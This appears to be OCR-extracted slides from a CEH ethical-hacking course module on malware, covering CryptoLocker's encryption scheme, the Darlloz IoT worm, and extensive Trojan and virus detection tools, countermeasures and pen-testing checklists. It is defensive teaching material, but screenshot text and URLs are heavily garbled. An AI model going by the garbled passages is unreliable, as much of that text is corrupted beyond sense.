domain names such as .org, .net, .co.uk, .info, .com, .biz, and .ru

Encryption Technique

The malware uses an AES algorithm to encrypt the files. The malware first generates a 256 bit AES key and
this will be used to encrypt the files

In order to be able to decrypt the files, the malware auther needs to know that key

To avoid transmitting the key in clear text, the malware will encrypt it using an asymmetric key algorithm,
namely the RSA public/private key pair

This encrypted key is then submitted to the C&C server

https: ke meafee.com
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Virus Analysis: Ransom Cryptolocker
(Cont’d)

Once the system is compromised, the malware displays the below mentioned warning to the user and
demand ransom to decrypt the files

It maintains the list of files which was encrypted by this malware under the following registry entry

() 'HKEI_.Q{IBEEHT_'U_EER\ Software\CryptoLocker\Files

On execution, this malware binary copies itself to %zpppatai location and deletes itself using a batch file

8 TApphata®\{2E376276-325A-0712-2BEZ-FRE2CFETECDS) .exe

-

ol ok

Your personal files are encrypted!

e B e e b Dibes o ol o genoe i sl oy B casops il pked o Wl .i_-.h.llud-l.ll.. i

11 oy sy Fhig bt baat, ok b oyt "y ol o ROoE wiireboses, Hiwery wi e el iwinos oo
Syl ci oo™ Trown ) ow g oe

Aot imabe Chestroe bhois e ol wolse ol vt ey
BT TR G B S ARA

I8 Wb ipms b Dirsisdeesd s sres Ceusbilo b resceres §ilos arynorc] Sirmgpsby rosrsssres U is weslipspes
T vy pcir o fc

71:59:16

h&ps:ffkﬂ.mmfee. co!
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Worm Analysis: Darlloz CIEH

(Internet of Things (IoT) Worm)

Cortified B Ethical Haschar

Darlloz is a Linux worm
that is engineered to
target the “Internet of
things”

It targets computers running
Intel x86 architectures and
also focuses on devices
running the ARM, MIPS,

and PowerPC architectures,
which are usually found on
routers, set-top boxes, and
security cameras

{@.\w ‘ |

hitp:/fwvww symantec.com
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Worm Analysis: Darlloz CEH

(Internet of Things (IoT) Worm) (Cont’d)

Cortified § Evhical Haecher

Total number of identified IP addrezzes
that were infected with Darlloz

Total number of Darlloz infections
affected regions

Total number of identified OS finger
prints from infected IP addresses

Darlloz infections compromised Intel
based-computers or servers running on
Linux

Darlloz infections affected a variety of
loT devices, including routers, IP

cameras, etc.
http/fwww. symantec com
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Worm Analysis: Darlloz CIEH

(Internet of Things (IoT) Worm) (Cont’d) i

ecutionr

The main purpose of the worm is to mine crypto currencies

Upon execution, the worm generates IP addresses randomly, accesses a specific path
on the machine with well-known 1Ds and passwords, and also sends HTTP POST
requests which exploit the vulnerability

If the target is unpatched, it downloads the worm from a malicious server and starts
searching for its next target

Currently, the worm infect only Intel x86 systems because the downloaded URL in the
exploit code is hard-coded to the ELF binary for Intel architectures

0 1 2 3 4 5 67 8 9 K B C B E T 012345
0000h: TF 45 4C 46 01 01 01 61 OO0 00 OO OO 00 OO OD OO OELF.. |
o010n: 0z o0 SEJEEN 0i 00 00 00 CO 75 01 00 34 o0 oo oo L.
OOZ0h: C5 15 01 00 02 00 00 OD 34 00 20 OO 02 00 28 OO
Templale Redifts - FLF Templals bt
Mama
= gtruct FILE fie

= sk ELF_HEADER ef heades
& snect & _idand_t & ident

enum &_lypedd e e lype ET_EXEC [2]

enum e machine32 a's_machne LEM_ARM 43 |

onum e vewionds e e verion _(EV.CURRENT(Y)

http:/fwww symantec.com
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Module Flow CIEH

Cortified § Evhical Haecher

Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering

_— ——

B
|

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhIn0O-TeaM wE FrEE t0 FIY HaCkRhIn0-TeaM

f«im-.l Eshical Hacker

1
Scan for suspicious OPEN PORTS Q- ' Scan for suspicious STARTUP PROGRAMS %

Scan for suspicious FILES and FOLDERS

Scan for suspicious REGISTRY ENTRIES  ° ! Scan for suspicious NETWORK ACTIVITIES °

Scan for suspicious DEVICE DRIVERS § _ : Scan for suspicious modification to
installed on the computer OPERATING SYSTEM FILES

Scan for suspicious WINDOWS SERVICES \‘m‘ﬁﬁ - Run Trojan SCANNER to detect Trojans \*

nm.rr ight @ by EC-Council. All Rights, FLEPW‘F‘H F!r:'pfu yduction is Strictly Pr-:hnh =

HaCkRhIn0-TeaM /dé’ krlpt/ by HaCthInO TeaM HaCkRhIn0O-TeaM




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhIn0O-TeaM wE FrEE t0 FIY HaCkRhIn0-TeaM

Scanning for Suspicious Ports | c EH

Trojans open unused ports in victim machine to connect back to Trojan handlers

Look for the connection established to unknown or suspicious IP addresses

Admansseatorn Command Promp?

System Administrator

nm.rr ight @ by EC-Councll. All Rights, Hn.*spr'\rm Hepfu yluction is Strictly Prﬂhnh =
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Port Monitoring Tools: TCPView

wE FrEE t0 FIY HaCkRhIn0-TeaM

CEH

and CurxPorts |

TCPView

TCPView show detailed listings of all TCP and UDP
endpoints on your system, including the local and
remote addresses and state of TCP connections

CurrPorts

CurrPorts is network monitoring software that
displays the list of all currently opened TCP/IP
and UDP ports on your local computer
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Scanning for Suspicious
Processes

Trojans camouflage themselves as Process Monitor
genuine Windows services or hide

their processes to avoid detection Process Monitor is a monitoring
tool for Windows that shows file

Some Trojans use PEs (Portable system, registry, and process/
Executable) to inject into various thread activity

processes (such as explorer.exe or
web browsers)

id Process Monitor S;.rsii'ntemalstmsysinmrnais.cnm
File Edit Ewert Filber Tock Optiom  Hep

Processes are visible but looks like sd ABRE ¢4& 3 A8 HBAaE
a legitimate processes and also SR | ToCeh - sosad I U

001 L Balorer EXE 1728 B CosnSinndeeal 0\ Uses' o \ppDatatlocnfMicren | SUCEESS  Moeationeae 10

. 1M Explorer EXE 1728 K CreateFleMagp  C 5 Users" admn ' App Tata™ L ocalibloms . SUOTESS Syrc Type: Sy Ty
helps bypass desktop firewalls Wil SEckiwDE 1728 BhusnSerderdl C\lse'adnpplalatlocadicios_ SUCCESS AlocalknGias: 10..
10 Expiorer EXE LFr :'!L'lmﬁ-lu'v_‘.al:' Wiserapdmin' PppDalen ocaiiicne. | SULCESS AlocaticriSos. 110
1001 [ Eanlore EXE 172 l_;i\.?e-se?!e Ylises'adman Applatatlocal o SUCCESS
W |5 Bplorer EXE 1728 Bl Ty Stancdard Lbsers anchren \Ppp Deta'LocalMions. . SUCTESS Alocation Sae: 5.1
i a Expiorar EXE 1728 :ﬁnﬁm:fs.uaf.da;. Lisaers \adman Sppllatatlacan kbcros . SUCCESS
WOl aBworEKE 1728 Phlreateric
M. e EXE e I LI S

sUseradmn Deskiop SUCCESS
Trojans can also use rootkit T 51 Yoo : : SUOCESS )
X 5 0:01-_ g Explsur EXE VT20 (h Covae \sers Puble ' SUCCESE
methods to hide their processes 00 qEgewDE  17H b O s INVALID P&
0 - Explorer EXE 17 ' | WP IALETS
11 a Expiorer EXE 7 F X L SIUCCESS
001 [ Beplorer EXE 1728 @ Feglpenky  HHLM Softwars'Momech ilindows'C  SUDCESS
W= ~a Expiore EXE 17 ¢ HELMNBOFTWAREMorssalt WWindow. . SULCESS
W0 CgEpkeEXE 1720 g . HKLESOF TWARE Micmaslt\ Windew, . SUCEESS
U toring tool IoSems maues saweseae S
0 = Brplorer 17 Ewm (g s 41 SUCTES
S€ prGCESS mﬂnltn‘“ng tDD 5 t{} 1001 = Explone EXE 1728 EP.G\:E“:KE-,- HHLAMSOFTWARE Moroaolt Window, . SLICTESS Prafe 5
H 1 W00, g Expiore EXE 1728 RegBEumey  HHLEWSOFTWARE Wicroaol iVindow, | SUCCESS fredes: 5 Parse 14
dEtect hkdden Trﬂjans 'and LU‘J_..:PMHJ}E._.lIE.ﬂ.EutFlmKa; _HHL NSO F TS ARE Mol Wndow SUCCESS:  ndes £ Mame: {4
hade{]GrS Showang 27,395 of 116,315 events (23%) Backed by virtial mempiry

R T D

nﬂp.}"ftechnet. microsaojt.com
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Process Monitoring Tools | C|EH

Coriifbed B Evhical Hascher

Process Explorer L4 Security Task Manager
http:/ftechnet. microsoft.com : http:/fwwneuber.com

Yet Another (remote) Process

Monitor
http:/fyaprocmon.sourceforge.net

System Explorer
http:/fsystemexplorer.net

HijackThis MONIT

http/ fsourceforge. net http://mmanit.com

Autoruns for Windows =" ESET Sysinspector
http:fftechnet. microsoft. com http:/ . eset.com

KillProcess OpManager

http:/forangelampsoftware. com J . http://www manageengine, com
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clEn

Scanmng for Susplcmus »

Registry Enfries ol L =

J Windows automatically executes S
. ; . Fia Gekct Lok  Hel
Instructions in
Ry HA I M B e T P LSBT Finds registry errors, unneeded
Eny! Fatl 3 3 ’ :
'B Eun “b:"“” ﬂr:a-c.-v' fiies [ty e oo i o porpcheceer se reg:st‘r}r_;unk and h&rps A derﬂ?hng
Entriylesd modified 27022014, 430 registry entries created by Trojans
Error severty 54
Error desriplion Fle'oe dhrchory oY ogras Pl proadferipronprhe dus™ dess mel mist
File refenene 1 Frogram Fies g ey propheckes
Eunince Ritgeson for detecton bl fle referenoe
Fags

RunServicesOnce Wy Enitry's nsme: Yk Entry last modified Tor sever®eroe desmipbon Fies neferenos Fomamog

BunServices

A

- . v =l lewalid e o die 1ed 1/62

HEEY CLASSES ROOT\exefi il St rsidioca . e e L, - 11
— Y l mxms:mmxmmmﬁmcmmman*mu l!-'{l& H%e- Fie o drectory C\Program Fie Envabd fie

le\shell‘\,ﬂpenﬂcc:mmand 8] oA Prochon Logle. fDeti & Ciieers\POEY 27022014, 1107 T2S%  File or diectory C:\LsetsIPOE Brviskd fis ¢
mEIn g% I e prockn. Loge. LiDet: HEY] ¥EY} pror20id, 10 I P o drectery CLsmoPOEY Dreabd e ¢
B Hion Prockon, Lograe, Lishe "CoLera POEY ITOL 2014, 11:2  G3S% Flwie drectory Cxi e \PGEL Brvabd e r
8] H90R Prochion, Lagle. [ished (iE7) [ET) rron 0t 12 I R o drectory C\Users\POE: rvakd fle 1
[_! O sofearedassesiocal S Mioseft Aeade C: rogram Fie &%  Pile or drectory Cx\Program Fie bnvald fle r
- 5 ] o Fraare assmsiprocn & "G s PGB NS % Py or drectory, Coiser PGEY Brvald fle r
Scanning registry values for TP P e, P sy st e
suspicious entries may indicate Rt At EEE I -
| HTL S e .har-c@"u-x;.‘! fE FErY IROZ2014 043 - Fie o ﬂa'ucbu'-.- < WProgram Fle Ercabd Bt
the Trojan infection 7] HHC s are st - s gencraE i 27022014, 1142 R Foe o ety C:peananeing Lrvabd e 1
0] s seftowane Whcrosertwi C- \Program Fies b H/A 7oz, 192 [N = or deectory C:Program Fie Evabd fle 1
TrD_iE! ns insert inﬂtructiﬂns Et - 5Hit:uiaﬁwarew-mﬁw#wﬁwwfiestnﬁwﬁ mozas Lz -'--eb' drectory c:'ﬁwwﬁefwﬂffr
B H S rwans WMeoromer Tt C=\rosgram Foas faf hfa w2014, 114z [ e o donctory C:\Program Fie Dreakd fls ¢

these sections of registry to 1)+ ofvare Mcross e Co Program Fles pie Nt sroz2, 12 [ P o drectory C:\Progra Fin tmakd fle e v

perform malicious activities : =

sections of registry

Custom S ¥ Lo

{Sebected: 1, highlighted: f, total: 130
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Registry Entry Monitoring Tool:
RegScanner

rch criteria, and display them in one list
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Zadog 9a Eadome a A
Begistay Key
7 G A g e 0 e Ll Shyiane]- y e
I HCCLP Seftwang’ Adee Acrehat Readar§...  Blrten aiExpan.,. DeD0000001 (1) 2 ] DiepFil.. EBESST Glefipmeadil ..
.EIH'-;U'-;E&NN'*M&--"'CWF“ Reader'3.. baYToolBarHp, aD0Rns (1) 2T ._*] HECLE Sp et S e Appi Explader... BEG 5SS i
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Registry Entry Monitoring Tools

Reg Organizer 4 MJ Registry Watcher

http: /S v, chemtable.com b W http:/ S jacobsm.com

Registry Viewer =y Active Registry Monitor
http:/faccessdota.com hitp:/fuwwnwdevicelock.com

Comodo Cloud Scanner . Regshot
httpe S v comoda, com I http:/fregshot.sourceforge.net

Buster Sandbox Analyzer - Registry Live Watch
http:/fbsa.isoftware.nl S http:/Aeelusoft.blogspot.in

All-Seeing Eyes "  Alien Registry Viewer

http/ v, fortego. com http:/Masthit.com
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CEH

Scanning for Suspicious Device

Drivers |

Trojans are installed along with device drivers downloaded from
untrusted sources and use these drivers as a shield to avoid detection

Scan for suspicious device drivers and verify if they are genuine and
downloaded from the publisher's original site

Go to Run = Type msinfo32 2 A
Software Environment =2 System ipsnr oo el L

Hardnty AR | L) TEAT A TR BT
ComponEs] 3 L rereh =, Sy

Drivers oSN Ly
4 L3 '

SRR Wil
Priad Joba

Taarg
W SR

Trojan Device
’ Driver
*

cdrom.sys

CITEERETEY =

Attacker

frarch nied cxisgory ondy
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CEH

Device Drivers Monitoring

Tool: DriverView

DriverView utility displays the list of all device drivers currently loaded on system. For
each driver in the list, additional information is displayed such as load address of the
driver, description, version, product name, company that created the driver, etc.

Edit Yiew Options Help

Qa0 A

@& scpiex.sys
@ ofd.sys
@ ahcachesys

@ aswMonFlt.sys

@ aswRdr2.sys
@ azwRvrteys
@ aswinusys
@ aswSPsys

@ aswitm.sys
@ aswimm.sys

@ BasicDisplay.sys

@ BasicRender.sys

@ Beep S¥S
@ ECOTVID.dI

@ bowser.sys
€

Address

CODDOG000030...
(000000 D106,
(00000000188,
(0000000282
CODDODO0 DI,
(000000001 13..,
CO0000000148...
0000000 0140...
COOD0GO0D31E...
ODO0000TI0F...
(00000000170
(O0000000147...
000000 014T...,
(O000000001C...
0000000028 A, .

End Address

DOOD0000003E. .
DOOO0OGT O 10F. ..
00000000194,
0000000070284, ..
00000000106, ..
00000000 0114...
000000000154, ..
DO0D0000 0146,
DOGOOOO003TF. .
D000000070113..,
00000000 01TE. .
000000000148,
DO0O00D0 0147,
DO000DO0DO1C...
00000000028

File Type

Dymamic Link..,

System Drver
System Drver
System: Dirver
Metwork Driver
Fystem Dirver
System Dinoer
System Diriver
Dirrver
System Drrver
Display Driver
Display Drrver
System Drrver
Display Driver
System Drrver

Descnplion

AP Deiver for ...

ACPIEx Driver

Ancillary Functi...
Application Co...
avast! File Syste..,
avast! WFP Redir...

avast! Virtuahzat..,
avast! seff prote...

Stream Filter

Microsoft Basic ...

Whcrosoft Basic ..

BEEP Dniver
VGA Boot Driver

MT Lan Manage...

6.3.9600. 16384
6.3.9600, 16384
6,3.9600, 16384
8.0.2013.292
9.0.2006,149
5.0.2004,130
8.0.2013.2592
902013252
§.0.2013.292
9.0.2010.245
6.3.9600.16384
6.3.5600. 16384
B,3.9600,16384
6.3.9600,163584
£.3.9600, 16384

Micresoft Co...
Micresoft Co...
Micrasoft Co..,
AVAST Softw...,
AVAST Softw...,

AVAST Saftw...
AVAST Softw...
AVAST Softw...

Micrasoft Co...
Microsoft Co..,
Microsoft Ca...
Microsoft Co...
Micresoft Ce...

Microg
Micros
Micros
avast

avast!

avast!
avast!
avast!

it ros

Micros

Micros

IMicros

Micros »
>

137 itemnds), 1 Selected

http://www.nirsoft.net
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Device Drivers Monitoring Tools

Driver Detective P Driver Reviver

http: /v, drivershg.com ool http:/fwwreviversaft. com

Unknown Device Identifier ServiWin
http:/fwanw. thangduo.com | hittp:/fuwwwnirsaft.net

DriverGuide Toolkit - Double Driver
httpe S v, driverguidetoolkit.com 1 http:/funww boozet.org

InstalledDriversList My Drivers
http S wanw, nirsoft.net http: v zhangduo.com

. [T | T - — ]
Driver Magician : DriverEasy
http v, drivermagicion. com | | http: www drivereasy.com

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




Scanning for Suspicious

C|EH

Windows Services e Lt

- Trojans spawn
Windows services

allow attackers "~ Enterprise Service Manager | = | :l'-'
remote control to the

victim machine and

pass malicious savioe Tie |
instructions ' Hegulw (" Davers " Al Refresh Select a workstation | ¢|ocal Machin:

Trojans rename their Display Name | Description | Computer | Status | Path | Statup Tupe
. @ Etensible Authentication... @Zsystemio.. <Local . Stop.. C\WiL. Manual

P I'EICES?‘-ES tD_ look like @ Erciypting File System [E... @%SystemB... <local.. Rumn. CiWWi. Automatic

a genuine Windows ST E—r LT

sarvice in order to @& windows Event Log @FSpstemB... <Local.. Rumn. CA\Wi.

QP COM+ Event System @cormes.dl... <Local.. Runn. CAWi..

@& Function Discovery Provi,., @Zsysterwo..  <Local .. Stop.. CAWi.

TI'Dj ans emp|0¥ ' @ Function Discovery Reso.. @Xspsterwo.,.  <local .. Stop.. CAWiL.

: ; @@ vwindows Font Cache Ser.. @%systemio..  <local... Runn.. CAWi. Awtomatic

rootkit techn i i to @& windows Presentation Fo... @%SystemB... <lLocal.. Stop.. CWi. Manual

manipu late @ Microsolt FTP Service @%winde®y...  <Local.. Runn. CAWL. Automatic

HI{EY_LDCAL_M ACHIN E.\ \ . % I':urn_u-m Prodirss M lerk — el Aeal Fii A & dernabie il
System\CurrentControlS 169 Services 1 Computer(s) Administrator WIN-MSSELCKE4KAT 10/6/2
et\Services registry keys

to hide its processes

File View Action Help

avoid detection
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Windows Services Monitoring Tool:
Windows Service Manager (SxrviVian)

CEH

Lertifbed Erhical Hasthar

Mecrasoft SCF Divet

Micsosodt ACPIE = Dirrves

ACP! Processor Aggregator Dnver
ACP Powes Meter Dinver

ACP Wake Alaern Drnver
ADPSI

Apphcation Expensnce

Anellany Funchion Diaver o Winsock
Irdet &GP Bus Filter

Applhcation Compatility Cache
Apphestion Laper Galeway Service
AMD KB Proceszor Dirves

AMD Piocessar Dinig

\SystamB ool\Spstern3Hdmesrs\| Bdoheise |

\SpstemP ool Sostem I drneer sl Jwanne. sies
ASpstemBoothSustem 3N drmeers AT FLays
SSusterFoot System 32\ Dimverzhacper sys
YSpstemBoot\Spstem32idimvers\acpipagr sy
\SystermPoot\System32drivers\acpipmi sys
\SnsternF oot Spstem3dmershacpitime. s
WEpstemFoot\SpstemINdmeen ADPREEM SYE
C:Nwindewes\systemI2avchost exe b netsves
\SpiskemB oot oystem 3N divers\afd sys
WSpstemB oot System3drivershagpddi sps
wpstem3ADRIVERS \ahcache. sys
C:\windows\S petem32alg exe
SawsternRoot\Sustem3drneershamdk B s
\SpstermB oot System3Z\dincer\amdppe. s

Start gepvice

Dedete sesvice

Hedal sevice

Ewt

http://tools.sysprogs.org
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Windows Services Monitoring
Tools

SMART Utility ‘@ AnVir Task Manager

http: /v thewindowsclub.com " hittp:/ S anvir.com

Netwrix Service Monitor = Process Hacker
http:/ wanw netwrix.com e .-_\_ http://processhacker.sourceforge.net

Free Windows Service

Monitor Tool
http:/fwww, manageengine. com

PC Services Optimizer
httpyS S wanae smartpeutilities.com

ServiWin L Nagios Xl

http v, nirsoft.net u I8 http:/ v nagios. cont

Windows Service Manager
Tray

http:/ winservicemanager.codeplex.com

Service+
http: S wwwactiveplus.com
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Scanning for Suspicious Startup clEn
Programs

Check startup
program entries Details are covered in next slide

in the registry

Check device
‘ drivers automati C:\Windows\System32\drivers
-cally loaded

‘ Check o Check boot. ini or bed (bootmgr) entries
boot.ini
‘ Chefk Windows Go to Run = Type services.msc => Sort by
services
. Startup Type

automatic started

C:\ProgramPata\Microsoft\Windows\Start

' Check startup = Menu\Programs\startup
. folder C:\Users)\ (User-Name) \AppData\Roaming\
Microsoft\Windows\Start Menu\Programs\Startup
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Startup Programs Monitoring
Tool: Security AutoRun

Semnty AutoRun displays the list of all applications that are loaded automatically when
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Startup Programs Monitoring

PCTuneUp Free Startup

Manager
http:fwww potuneupsuite.com

Autoruns for Windows
http:/ftechnet.microsoft.com

ActiveStartup e Disable Startup
http:/ v hexilesoft.com hittp:/ Ao disablestartup.com

StartEd Pro WinPatrol

httpe S wana outertech.com http:/ fwnwwwinpatrol.com

Startup Delayer e : .- Chameleon Startup Manager

httpe v, r2 com. au % =af http:/ v chamelean-managers.com

Startup Manager Startup Booster
http:/fstartupmanager.org http:/fwww.smartpetools.com
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Scanning for Suspicious Files
and Folders

Trojans normally modify system’s files and folders. Use these tools to detect system changes

SIGVERIF

J It checks integrity of critical files that have been digitally signed by Microsoft
2 To launch SIGVERIF, go to Start = Run, type sigverif and press Enter

FCIV

4 It is a command line utility that computes MD5 or SHA1 cryptographic hashes for files

2 You can download FCIV at http://download.microsoft.com

TRIPWIRE

2 It is an enterprise class system integrity verifier that scans and reports critical RlAIR
system files for changes s = =

TAKE CONTROL.
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Files and Folder Integrity
Checker: FastSum and WinlVIDS5
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MD5 hashes ("fingerprints”) of files
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FastSum is used for checking integrity of the files

It computes checksums according to the MDS checksum algorithm
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Files and Folder Integrity
Checker

Advanced CheckSum Verifier
(ACSV)

http: v, irnis. net

Fsum Frontend
http:/ifsumfe. sourceforge. net

Verisys
http S wavae fonx. co.uk

AFICK (Another File Integrity
Checker)

http://afick.sourceforge.net

FileVerifier++

http v, programminguniimited.net

PA File Sight

hittp:/fwwna poweradmin. com

CSP File Integrity Checker

hittp:/fuww fondemsecurity.com

ExactFile
http:/ funww. exactfile.com

OSSEC

http:/ s ossec. net

Checksum Verifier
http:/fwww bitdreamers.com

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




Scanning for Suspicious

C|EH

Network Activities o i

Trojans connect back to handlers and send confidential information

v
to attackers 4

_ Use network scanners and packet sniffers to monitor network traffic
% going to malicious remote addresses

Run tools such as Capsa to monitor network traffic and look for
suspicious activities sent over the web
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Detecting Trojans and Worms

C|EH

with Capsa Network Analyzer e

Capsa is an intuitive network analyzer, which provides detailed information
to help check if there are any Trojan activities on a network

~r 1
HLERIE LR DL

¥ . oo Applcation Pridodon-by Bytes

PrasHae Mondes b
A

L jhtien Fypime 440 100 LS
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Virus Detection Methods g EE

| Integrity !
Checking Interception
O ———- o —
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Virus Detection Methods (|gH

(CDII.t 1[1) Cortified | Evbical Backer

Code Heuristic
Emulation £ == Analysis

o ™ . —
i o e —_—
L .y .-"ﬂFdz .

-

B
.

J In code emulation techniques, the Heuristic analysis can be static or
anti-virus executes the malicious dynamic
code inside a virtual machine to In static analysis the anti-virus
simulate CPU and memory

s analyses the file format and code
activities

structure to determine if the code
This techniques is considered very is viral

effective in dealing with encrypted In dynamic analysis the anti-virus

and polymorphic viruses if the performs a code emulation of
virtual machine mimics the real

_ the suspicious code to determine
machine

if the code is viral
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IModule Flow

Introduction Trojan Virus and Worm
to Malware Concepts Concepts

_— ——

B

Bt

Malware Counter- Anti-Malware
Detection measures Software

C|EH

Cortified § Evhical Haecher

Malware Reverse
Engineering

==

Penetration
Testing
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Trojan Countermeasures C(|EH

Erhikcal Haechar

Avoid opening email attachments received
from unknown senders

Block all unnecessary ports at the host and
firewall

Install patches and security updates for the
operating systems and applications

Avoid accepting the programs transferred by
instant messaging

S5can CDs and DVDs with antivirus software
before using

Restrict permissions within the desktop
environment to prevent malicious
applications installation

Harden weak, default configuration settings
and disable unused functionality including
protocols and services

Avoid typing the commands blindly and
implementing pre-fabricated programs or

scripts

Monitor the internal network traffic for odd
ports or encrypted traffic

Manage local workstation file integrity
through checksums, auditing, and port
scanning

Avoid downloading and executing applications
from untrusted sources

Run host-based antivirus, firewall, and
intrusion detection software
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Backdoor Countermeasures | C/IEH

Cortified § Evhical Haecher

Most commercial anti-virus products can automatically scan and detect
backdoor programs before they can cause damage

REH. VN

Educate users not to install applications downloaded from untrusted Internet
sites and email attachments

Use anti-virus tools such as McAfee, Norton, etc. to detect and eliminate
backdoors
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Install anti-virus software that detects and
removes infections as they appear

Pay attention to the instructions while
b@wmlﬂading files or any programs from

the Internet
TR Update the anti-virus software

regularly

Avoid opening the attachments received

from an unknown sender as viruses

Sh o e c gl anatiess Possibility of virus infection may
corrupt data, thus regularly maintain *
data back up

schedule regular scans for all drives after L

the installation of anti-virus software { '

Do not ac::eﬁf disks or programs wnheut
checking them first using a current

on ¥ version of an anti-virus program
eap r A —
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Virus and Worms Countermeasures
(Cont’d)

Ensure the executable code sent to the
organization is approved

"%\ Rundisk clean up, registry scanner and

defragmentation once a week

Do not boot the machine with infected
bootable system disk

Turn on the firewall if the OS used is
Windows XP

Know about the latest virus threats

Run anti-spyware or adware once in
a week

Check the DVDs and CDs for virus
infection

Do not open the files with more than
one file type extension

Ensure the pop-up blocker is turned on
and use an Internet firewall

Be cautious with the files being sent
through the instant messenger
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Module Flow CIEH

Cortified § Evhical Haecher

Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering

_— ——

ﬁ 4
cuE
D™ g

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Anti-Trojan Software:
TrojanHunter

Registry scanning for
detecting traces of
Trojans in the registry

inifile scanning for
detecting traces of Trojans
‘I in configuration files

TrojanHunter Guard for

resident memory scanning -
detect any Trojans if they

C|EH

Cortified § Evhical Haecher

TrojanHunter is an advanced malware scanner that
detects all sorts of malware such as Trojans, spyware,

adware, and dialers

Filg View Scan Teok Help
"N @
Full Sean Cuace Socan Lipedste Exit

Select Folders to Scan

Soen Debads

Trojans were detected

Dhects seanneds - 5040

t1

Gzt

)

Cptions

= BLry Trojanunter Mow - Click Hene|

http://www.trojanhunter.com
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Anti-Trojan Software: Emsisoft clEn
Anti-Malware |

= emsisoft ANTI-MALWARE
“msisoft Anti-Malware provides
: against viruses, Trojans, I
‘spyware, adware, worms, bots,
keyloggers, and rootkits

Chsan Computar

& | OhjeeTs detecied

IHagnosas
= Sewaiinfeinebal (8)

= m&pﬁm'--._mﬁmw:}.umm
Two combined scanners for
cleaning: Anti-Virus and Anti-
Malware

S Fles Barve been detected domng the acan

Qe setertint cbjects

Three guards against new
infections: file guard, behavior
blocker, and surf protection
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Anti-Trojan Software

Anti Malware BOClean | SUPERAntiSpyware

http:/ wnw. comodo.com ] http:/fwwa superantispyware.com

Anti Hacker Trojan Remover
http:/fwanw hide-my-ip.com 3 . hitp:/fuvwwesimplysup.com

XoftSpySE . Twister Antivirus
http fwavnwe, paretologic.com \ http:/funwnwe filseclab.com

SPYWAREfighter I; | STOPzilla AntiMalware

httpe v, spamfighter.com { http:/fwnna stopzilfa.com

Malwarebytes Anti-Malware

Premium
http: /i waww. mafwarebytes.org

ZeroSpyware
http: S www fhmsoftware. com
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Companion Antivirus: Immunet

Simmunet 30 e G

\ Community
2478, 268 peopte proteetad

¥ @!1 1]]

Offine Protecton + Tachnical 5

n

Files Scanned:
Threats Detected:
Threats Remioved:

Elapsed Time:

b e wm e e R R

QW

HaCkRhInO-TeaM

¥ A=
J = i ' Wour se3n has complsted, Thrass wens datectid 3o

¢ Clazned:

203228
306
i)

HaCkRhInO-TeaM

http://www.immunet.com
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AVG Antivirus

httpefifree.avg.com

BitDefender

httpe S wavwe, bitdefender. com

Kaspersky Anti-Virus

httpe i wanw, kospersky. com

Trend Micro Titanium

Maximum Security
http:/fapac. trendmicro.com

MNorton AntiVirus

http: S wwnw, symantec.com

HaCkRhIn0O-TeaM

F-Secure Anti-Virus
http:/funene. f-secure. com

avast! Pro Antivirus 2014

http:/funww ovast.com

McAfee AntiVirus Plus 2014

http:/fhome.meafee.com

ESET Smart Security 7

http:/fwww.eset.com

Total Defense Internet

Security Suite
http:/fww totoldefense.com
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Module Flow CIEH

Cortified § Evhical Haecher

Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering

_— ——

=
|

et

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Pen Testing for Trojans and
Backdoors

Use tools such as Scan the system for epen ports,
TCPView and running processes, registry entries,
CurrPorts device drivers and services

If any suspicious port, process,

registry entry, device driver or
Use tools such as service is discovered, check the
What's Running associated executable files

Collect more information about
these from publisher’s websites,
Use tools such as if available, and Internet
gL =wnne bl jv16 Power Tools 2014 and
RegScanner

Check if the open ports are known
to be spened by Trejans in wild

4
_ for dE\liC _ Use tools such as

DriverView and
Driver Detective

Use tools such as
SrvMan and ServiWin
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Pen Testing for Trojans and
Backdoors (contq)

HaCkRhInO-TeaM

Use tools such as
Jlereasamasnannnn Security AutoRun and
Autoruns for Windows

Use tools such as FCIV,
TRIPWIRE, SIGVERIF,
FastSum, and WinMD5

Use tools such as Capsa
Metwork Analyzer

{Ill EEEEEUE N R

Use tools such as FCIV
and TRIPWIRE

Use tools such as
TrojanHunter and
Emsisoft Anti-Malware

Mfensunsnnnnnnnnns

Check the startup programs and determine if
all the programs in the list can be recognized
with known functionalities

Check the data files for modification or
manipulation by opening several files and
comparing hash value of these files with a
pre-computed hash

Check for suspicious network activities such
as upload of bulk files or unusually high
traffic going to a particular web address

Check the critical 05 file modification or
manipulation using tools such as TRIPWIRE or
manually comparing hash values if you have a
backup copy

Run an updated Trojan scanner from a
reputed vendor to identify Trojans in wild
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Pen Testing for Trojans and
Backdoors (contq)

Document all your findings in
previous steps; it helps in
determining the next action if
Trojans are identified in the
system

Isolate infected system from
the network immediately to
prevent further infection

Sanitize the complete system
for Trojans using an updated
anti-virus

Is updated
anti-virus
running?
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Penetration Testing for Virus | C|/EH

Anti-virus is ; Install latest version
installed? of Anti-virus

Updﬂte Anti-virus u.-“..uu--.-uuuuu.u}.é

v

Enable real-time
--------- 2 2 Scan the system

scanning

Cortified § Evhical Haecher

Install an anti-virus
program on

the network
infrastructure and on
the end-user’s system

Update the anti-virus
software to update virus
database of the newly
identified viruses

Enable real-time
scanning

Scan the system for
viruses, which helps to
repair damage or delete
files infected with
viruses
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Penetration Testing for Virus

‘Scan for running <

Use tools such as What's
Running and Autoruns for
Windows

Use tools such as jv16 Power
Tools 2014 and RegScanner

Use tools such as
SrviMan and Serviwin

Uise tools such as Security
AutoRun, and Autoruns

Use tools such as FCIV,
TRIPWIRE, and SIGVERIF

Use tools such as FCIV and
TRIPWIRE

(Cont’d)

Scan the system for running
processes, registry entry changes,
Windows services, startup programs,
files and folders integrity, and OS5 files
moedification

